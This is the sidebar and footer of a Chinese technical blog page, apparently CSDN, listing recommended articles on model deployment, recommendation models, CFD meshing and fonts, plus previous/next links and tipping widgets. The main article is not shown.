PeterPan的博客 503

从零开始部署zhouhui/bart-paraphrase:Windows与Linux环境全攻略

想要快速部署强大的文本复述AI模型吗?本文将为你提供完整的zhouhui/bart-paraphrase模型部署指南,涵盖Windows和Linux两大操作系统环境。作为一款基于BART架构的文本复述模型,它能够智能地重写句子,保持原意的同时改变表达方式,为内容创作、文本优化和自然语言处理应用提供强大支持。 ## 🚀 什么是BART Paraphrase模型? **zhouhui/bart-

gitblog_00481的博客 1065

基于上下文的 Listwise 重排模型(一):miRNN

2018年阿里团队提出的miRNN(Mutual Influence aware RNN)模型,首次将电商搜索重排建模为全局优化问题,通过RNN捕捉商品序列的相互影响,结合Beam Search生成最优排序,在淘宝搜索中实现GMV(商品交易总额)提升5%的突破。本文将结合论文细节与通俗案例,拆解这一工业级重排框架的核心逻辑。

进一步有进一步的欢喜~ 1918

Airpak模拟网格质量提升方法-CFD模拟仿真

我们计算机模拟计算的前提,就是要把无限的空间信息,通过网格划分成若干个有限空间,用某个点信息代替这些小网格,就好比切豆腐,一块大豆腐切成若干个小豆腐,用某个信息来标注这个小豆腐,就是连续空间的离散化过程。通过理解网格生成原理、优化网格生成设置、采用先进的网格生成技术以及应用多物理场的耦合技术,可以生成高质量的网格,从而为准确、可靠的流体动力学模拟提供保障。在Airpak中,网格生成是进行模拟计算的基础环节,高质量的网格能够提高模拟的准确性并降低误差。在Airpak中,网格生成设置是决定网格质量的关键因素。

aguyuc1的博客 602

零门槛本地部署DeepSeek大模型!Ollama一条龙教程(附Linux/Windows双平台+API调用)

自动生成沪深300趋势分析报告+可视化图表。

Dr_Tang_的博客 2385

matlab 点云学习目录【2026最新版】

matlab 点云学习目录。博客长期更新,本文最近更新时间为:2026年6月15日。

点云侠的博客 3万+

零基础通关:GLM-4-9B-Chat-1M大模型本地化部署全攻略

随着大语言模型技术的飞速发展,本地化部署已成为企业与开发者实现数据安全与自主可控的关键路径。由清华大学KEG实验室与智谱AI联合研发的GLM-4-9B-Chat-1M模型,凭借10亿级参数规模与100万token超长上下文能力(约200万中文字符),在法律文书处理、学术文献分析等专业场景展现出独特优势。本文将通过五个核心步骤,详解如何在Windows环境下实现该模型的本地化部署,帮助技术团队避开环

gitblog_00406的博客 458

ET2012新版免狗免安装绿色软件

ET2012新版免狗免安祖昂绿色软件。,新界面,新视觉,

efm32 入门.pdf

本PDF共计22页,介绍的是操作驱动API,下载与否自己斟酌。

从熬夜赶标书到10分钟交卷:开源免费AI标书生成工具实测全攻略

凌晨一点,办公室的灯还亮着。桌面上摊着120页的招标文件,距离交标截止只剩两天——做过投标的人都懂这种滋味。其实这件事本可以不必这么痛苦:一款开源免费的AI标书生成工具——易标投标工具箱(OpenBidKit_Yibiao),就能让整条流程自动跑起来。从解析招标文件、生成目录,到写正文、查重、查废标项,全程有AI搭手,一份十万字的标书生成成本仅需1元左右。今天这篇文章,就把这套工具从安装到实战的完

gitblog_00874的博客 193

lwip-2.0.3

lwip是瑞典计算机科学院(SICS)的Adam Dunkels 开发的一个小型开源的TCP/IP协议栈。实现的重点是在保持TCP协议主要功能的基础上减少对RAM 的占用。

Outfit字体实战手册:9种字重与可变字体的免费商用方案,从下载到上线一次讲透

想象你官网完成后的样子:标题用 Black(900) 撑起品牌气场,正文用 Regular(400) 保证阅读舒适,鼠标划过导航时字重还能丝滑渐变。做到这一切的,正是开源项目 **Outfit 字体**——一款免费商用、自带 9 种字重与 4 种格式的几何无衬线字体。 ## 它是什么:一句话定位 Outfit 由品牌自动化公司 outfit.io 官方出品,项目描述只有一句话:*The mos

gitblog_01170的博客 801

老版QQ原生表情gif动态

这是老版的QQ表情,不过全是动态的的,Windows照片查看器是不会动的,可以右击用浏览器打开查看,再说一遍是老版的,只是分享给宁愿用老版也要动态的人。

上一篇: 免杀如此简单!从零基础到精通,收藏这篇就够了!
下一篇: Linux提权漏洞CVE-2025-27591,从零基础到精通,收藏这篇就够了!
程序员_大白
博客等级 码龄5年 1万+粉丝 4001原创
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付:10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值